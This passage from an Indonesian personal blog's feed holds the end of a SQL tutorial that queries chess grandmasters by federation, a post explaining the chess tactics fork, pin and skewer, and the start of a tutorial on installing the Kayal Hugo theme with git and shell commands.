&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outpunya akan menunjukkan 3 GM, yaitu &lt;strong&gt;Hikaru Nakamura&lt;/strong&gt;, &lt;strong&gt;Fabiano Caruana&lt;/strong&gt;, dan &lt;strong&gt;Wesley So&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;441&quot; height=&quot;270&quot; src=&quot;/_astro/ss30.DuR916sf_Z1YBciw.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk mencari GM yang berasal dari federasi China, kita hanya perlu mengganti kode federasinya saja:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;&lt;span&gt; fed &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;CHN&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outpunya akan menunjukkan &lt;strong&gt;Wei Yi&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;369&quot; height=&quot;230&quot; src=&quot;/_astro/ss31.D2tJ3VRy_ZJzQID.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/SQL&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/SQL&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.dicoding.com/blog/mengenal-apa-itu-relational-database/&quot; target=&quot;_blank&quot;&gt;https://www.dicoding.com/blog/mengenal-apa-itu-relational-database/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dqlab.id/belajar-mysql-secara-mendalam-pemula-wajib-tahu&quot; target=&quot;_blank&quot;&gt;https://dqlab.id/belajar-mysql-secara-mendalam-pemula-wajib-tahu&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.unmaha.ac.id/memahami-tipe-data-pada-mysql/&quot; target=&quot;_blank&quot;&gt;https://blog.unmaha.ac.id/memahami-tipe-data-pada-mysql/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Chess Tactics: Fork, Pin, and Skewer</title><link>https://shangdi.github.io/posts/chess/pop-tactics/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/pop-tactics/</guid><description>This article shares about 3 popular tactics in chess, which are Fork, Pin, and Skewer.</description><pubDate>Wed, 14 Aug 2024 03:10:27 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Seorang master catur Jerman kelahiran tahun 1868, &lt;a href=&quot;https://chesspuzzle.net/Player/Richard_Teichmann&quot; target=&quot;_blank&quot;&gt;Richard Teichmann&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;chess is 99% tactics&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Chess Tactics?&lt;a href=&quot;#what-is-chess-tactics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu taktik catur?&lt;br /&gt;
Pada dasarnya, taktik catur adalah gerakan / langkah (atau serangkaian langkah) yang memberikan keuntungan bagi pemainnya. Keuntungan yang dimaksud dapat berupa keuntungan material, yaitu dengan memenangkan buah catur, atau bahkan skakmat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak taktik yang dapat dipelajari dan digunakan dalam bermain catur, tapi biarkan saya mengulas salah tiga taktik catur yang paling populer, yaitu &lt;strong&gt;Fork&lt;/strong&gt;, &lt;strong&gt;Pin&lt;/strong&gt;, dan &lt;strong&gt;Skewer&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Fork&lt;a href=&quot;#fork&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebagaimana namanya, &lt;em&gt;&lt;strong&gt;Fork&lt;/strong&gt;&lt;/em&gt; atau serangan garpuan adalah salah satu taktik catur dengan menyerang dua buah catur sekaligus dengan satu buah catur. Pihak lawan yang terkena taktik &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt; biasanya akan kesulitan untuk mempertahankan kedua buah catur yang terserang sehingga pihak penyerang akan mendapatkan salah satu buah catur yang terkena &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt; tersebut.
Serangan &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt; pada Raja dan Menteri juga biasa disebut sebagai &lt;em&gt;&lt;strong&gt;Royal Fork&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;fork&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.a9IF22Gd_EeigE.webp&quot; alt=&quot;Kuda (Knight)&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;794&quot; /&gt;&lt;figcaption&gt;Kuda (Knight)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.CUhoNhh7_Zahnjg.webp&quot; alt=&quot;Menteri/Ratu (Queen)&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;791&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.3tI9rkkO_1BSyRd.webp&quot; alt=&quot;Benteng (Rook)&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;791&quot; /&gt;&lt;figcaption&gt;Benteng (Rook)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.DMK70vJE_1brbp6.webp&quot; alt=&quot;Gajah (Bishop)&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.AgCHygaG_1m5wYF.webp&quot; alt=&quot;Pion (Pawn)&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;790&quot; /&gt;&lt;figcaption&gt;Pion (Pawn)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss9.Drwyp8vY_1dtmJJ.webp&quot; alt=&quot;Raja (King)&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;793&quot; /&gt;&lt;figcaption&gt;Raja (King)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kalau gambar terlalu kecil, silakan tampilkan gambar di tab baru dengan cara &lt;strong&gt;klik kanan pada gambar, lalu pilih “open image in new tab”&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Fork Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, &lt;em&gt;&lt;strong&gt;royal fork&lt;/strong&gt;&lt;/em&gt;, dan mendapatkan Menteri.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Kuda.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan mendapatkan Kuda.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Pin&lt;a href=&quot;#pin&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Juga seperti namanya, taktik &lt;em&gt;&lt;strong&gt;Pin&lt;/strong&gt;&lt;/em&gt; adalah teknik catur yang digunakan untuk memberikan pin pada buah catur yang sedang melindungi buah catur lain yang lebih tinggi nilainya sehingga tidak boleh berpindah kecuali dia akan kehilangan buah catur yang lebih bernilai.
Teknik &lt;em&gt;&lt;strong&gt;pinning&lt;/strong&gt;&lt;/em&gt; ini hanya dapat dilakukan oleh perwira yang memiliki jarak serang jauh seperti Menteri, Benteng, dan Gajah. Taktik &lt;strong&gt;pin&lt;/strong&gt; yang absolut dapat terjadi jika buah catur yang di-&lt;em&gt;&lt;strong&gt;pin&lt;/strong&gt;&lt;/em&gt; melindungi Raja sehingga buah catur tersebut tidak bisa bergerak.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;&lt;strong&gt;pin&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.CvBCtBYo_Z1l66jO.webp&quot; alt=&quot;Menteri/Ratu (Queen)&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;793&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss7.D9b6pSpn_ZBmzdn.webp&quot; alt=&quot;Benteng (Rook)&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;793&quot; /&gt;&lt;figcaption&gt;Benteng (Rook)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss8.qTNfke8q_Z1awoz3.webp&quot; alt=&quot;Gajah (Bishop)&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Pin Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Gajah.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Menteri.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Benteng.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Skewer&lt;a href=&quot;#skewer&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kebalikan dari pin, taktik &lt;em&gt;&lt;strong&gt;Skewer&lt;/strong&gt;&lt;/em&gt; menyerang buah catur yang lebih bernilai sehingga memaksanya untuk berpindah dan menyerahkan buah catur yang nilainya lebih rendah yang ada di belakangnya. Jadi, taktik &lt;em&gt;&lt;strong&gt;skewer&lt;/strong&gt;&lt;/em&gt; ini pada dasarnya mirip dengan  taktik pin, perbedaannya hanya pada urutan buah catur yang diserang. Jika pada taktik pin, buah catur yang berada di depan adalah buah catur yang memiliki nilai lebih rendah sehingga tidak boleh bergerak demi melindungi buah catur yang nilainya lebih tinggi di belakangnya, maka pada taktik skewer, buah catur yang berada di depan adalah buah catur yang memiliki nilai lebih tinggi sehingga harus bergerak/berpindah dan rela kehilangan buah catur di belakangnya yang nilainya lebih rendah. Oleh karena itu, taktik skewer biasanya juga dilakukan oleh perwira dengan jarak serang jauh seperti Menteri, Benteng, dan Gajah.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;&lt;strong&gt;skewer&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss12.5wvXVPUl_Z2fa3Li.webp&quot; alt=&quot;Menteri/Ratu (Queen)&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;791&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss11.Cx4gZJWv_1N7jgi.webp&quot; alt=&quot;Benteng (Rook)&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;798&quot; /&gt;&lt;figcaption&gt;Benteng (Rook)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss10.iyLCC8pq_UR8b1.webp&quot; alt=&quot;Gajah (Bishop)&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;791&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Skewer Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Gajah.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Benteng.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan mendapatkan Kuda.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/article/view/chess-tactics#endgametactic&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/article/view/chess-tactics#endgametactic&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Trying Out A Flavor of New Hugo Theme: Kayal</title><link>https://shangdi.github.io/posts/tech/kayal/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/kayal/</guid><description>Kayal Hugo&apos;s  theme for me looks modern yet calm for a blog site. I got curious somehow and trying it out. Fortunately, I really like that theme. So, here is my thoughts about it...</description><pubDate>Sun, 04 Aug 2024 13:54:17 GMT</pubDate><content:encoded>&lt;p&gt;Beberapa hari lalu, saya merasa bosan dan ingin mencarikan suasana baru untuk blog-site saya ini. Lagipula, hampir satu tahun sudah blog-site ini lahir ke internet. Oleh karena itu, saya kira tidak ada salahnya untuk mulai mengganti beberapa pakaiannya dengan yang baru. Jadi, saya putuskan untuk ‘berwisata’ ke halaman &lt;a href=&quot;https://themes.gohugo.io/&quot; target=&quot;_blank&quot;&gt;tema hugo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ketika sedang khusyu’ mengamati etalase tema-tema Hugo yang keren di sana, tiba-tiba saja mata saya terpincut dengan sebuah tema yang secara suasana tampak remang-remah namun syahdu, mirip Gruvbox namun tidak bisa dibilang demikian, itulah dia, tema &lt;a href=&quot;https://github.com/mnjm/kayal&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Kayal&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;kayal demo site&quot; loading=&quot;lazy&quot; width=&quot;1800&quot; height=&quot;2000&quot; src=&quot;/_astro/ss1.Ba1J5B8v_bVsDW.webp&quot; /&gt;&lt;figcaption&gt;kayal demo site&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Saya merasa seperti baru pertama kali melihat tema yang satu ini. Namun, ketika saya telaah lebih jauh, ternyata prasangka saya benar. Tema Kayal ini adalah tema yang relatif baru dan &lt;em&gt;show up&lt;/em&gt; di situs tema Hugo. Berdasarkan catatan &lt;em&gt;commit&lt;/em&gt;-nya di github, tema yang dibuat oleh &lt;a href=&quot;https://github.com/mnjm&quot; target=&quot;_blank&quot;&gt;Manjunath Mohan&lt;/a&gt; ini baru berumur 2 minggu ketika saya menulis artikel ini:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;kayal github repo&quot; loading=&quot;lazy&quot; width=&quot;1113&quot; height=&quot;826&quot; src=&quot;/_astro/ss1.B9jMyQyh_1UCzAN.webp&quot; /&gt;&lt;figcaption&gt;kayal github repo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://github.com/mnjm/kayal&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;mnjm&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;kayal&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;
&lt;p&gt;Selain desainnya yang menurut saya keren, tema Kayal ini bisa saya bilang juga mudah untuk dipasang untuk keperluan artikel saya. Memang, tidak semudah menggunakan tema saya sebelumnya (Papermod), tapi tidak sesulit yang dibayangkan juga…&lt;/p&gt;
&lt;p&gt;Nah, di sini, saya mau coba berbagi langkah-langkah menggunakan tema Kayal ini untuk website kita. Mungkin ada juga nanti sedikit perbandingannya dengan tema Papermod (supaya saya bisa menjustifikasi klaim saya barusan tentang “tidak semudah Papermod”, hehe). Oiya, satu hal yang perlu dicatat, saya sudah memiliki artikel khusus yang membahas cara untuk membuat website dengan Hugo. Jadi, di artikel ini, saya hanya akan langsung men-tutor cara memasang dan mengkonfigurasi tema Kayal di website yang sudah kita buat sebelumnya.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Tulisan saya yang membahas langkah-langkah membuat &lt;em&gt;static-site&lt;/em&gt; dengan Hugo bisa dikunjungi di sini:&lt;/p&gt;&lt;a href=&quot;/posts/tech/hugo-ing/&quot;&gt;&lt;div&gt;&lt;div&gt;Hugo-ing (from Zero to Hero)&lt;/div&gt;&lt;div&gt;Beginner step to start creating static-site via using Hugo.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2023-10-07&lt;/span&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt;&lt;span&gt;#hugo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;219&quot; src=&quot;/_astro/featured.Cy0Vexud_2x0WC7.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;Instalasi Tema Kayal&lt;a href=&quot;#instalasi-tema-kayal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Mengunduh Tema Kayal dari Github Repo&lt;a href=&quot;#mengunduh-tema-kayal-dari-github-repo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah pertama, tentu saja adalah mengunduh (meng-&lt;em&gt;cloning&lt;/em&gt;) github repo tema Kayal ke direktori &lt;strong&gt;“&lt;code&gt;themes&lt;/code&gt;”&lt;/strong&gt; website kita&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Caranya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Pastikan di direktori root website kalian sudah terdapat folder/direktori &lt;strong&gt;.git&lt;/strong&gt;. Kalau belum, bisa dibuat dengan mengetikkan perintah berikut:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;init&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;submodule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/mnjm/kayal.git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes/kayal&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah isi dari tema &lt;strong&gt;&lt;code&gt;themes/kayal&lt;/code&gt;&lt;/strong&gt; yang sudah kita &lt;em&gt;cloning&lt;/em&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;323&quot; src=&quot;/_astro/ss3.BdOcnk2Y_Z2rHh6R.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menghapus File Config Default Hugo&lt;a href=&quot;#menghapus-file-config-default-hugo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita perlu menghapus file config default Hugo yang ada di root direktori websitenya. Nama default file config-nya adalah &lt;strong&gt;&lt;code&gt;hugo.toml&lt;/code&gt;&lt;/strong&gt; (kecuali jika kalian sudah mengganti nama atau format filenya, maka disesuaikan):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Meng-&lt;em&gt;copy&lt;/em&gt; File Config Kayal&lt;a href=&quot;#meng-copy-file-config-kayal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita akan meng-&lt;em&gt;copy&lt;/em&gt; beberapa file config tema kayal yang terdapat dalam direktori &lt;strong&gt;&lt;code&gt;/themes../images/kayal/config/_default&lt;/code&gt;&lt;/strong&gt; ke direktori root website kita di &lt;strong&gt;&lt;code&gt;config/_default&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-R&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;themes../images/kayal/config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;784&quot; src=&quot;/_astro/ss4.NjGJZlUz_tackK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat di tangkapan layar, folder config sudah berhasil di-&lt;em&gt;copy&lt;/em&gt; ke root direktori website. Isi dari direktori &lt;strong&gt;&lt;code&gt;config/_default&lt;/code&gt;&lt;/strong&gt; tersebut ada 4, yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;hugo.toml:&lt;/strong&gt; file konfigurasi utama untuk hugo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;markup.toml:&lt;/strong&gt; …&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;menus.toml:&lt;/strong&gt; file konfigurasi untuk mengatur menu website.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;params.toml:&lt;/strong&gt; file konfigurasi untuk mengatur beberapa parameter website, seperti parameter untuk homepage, artikel, dan yang lainnya.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Tapi, kita hanya perlu fokus ke file-file konfigurasi 1, 3, dan 4 saja.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
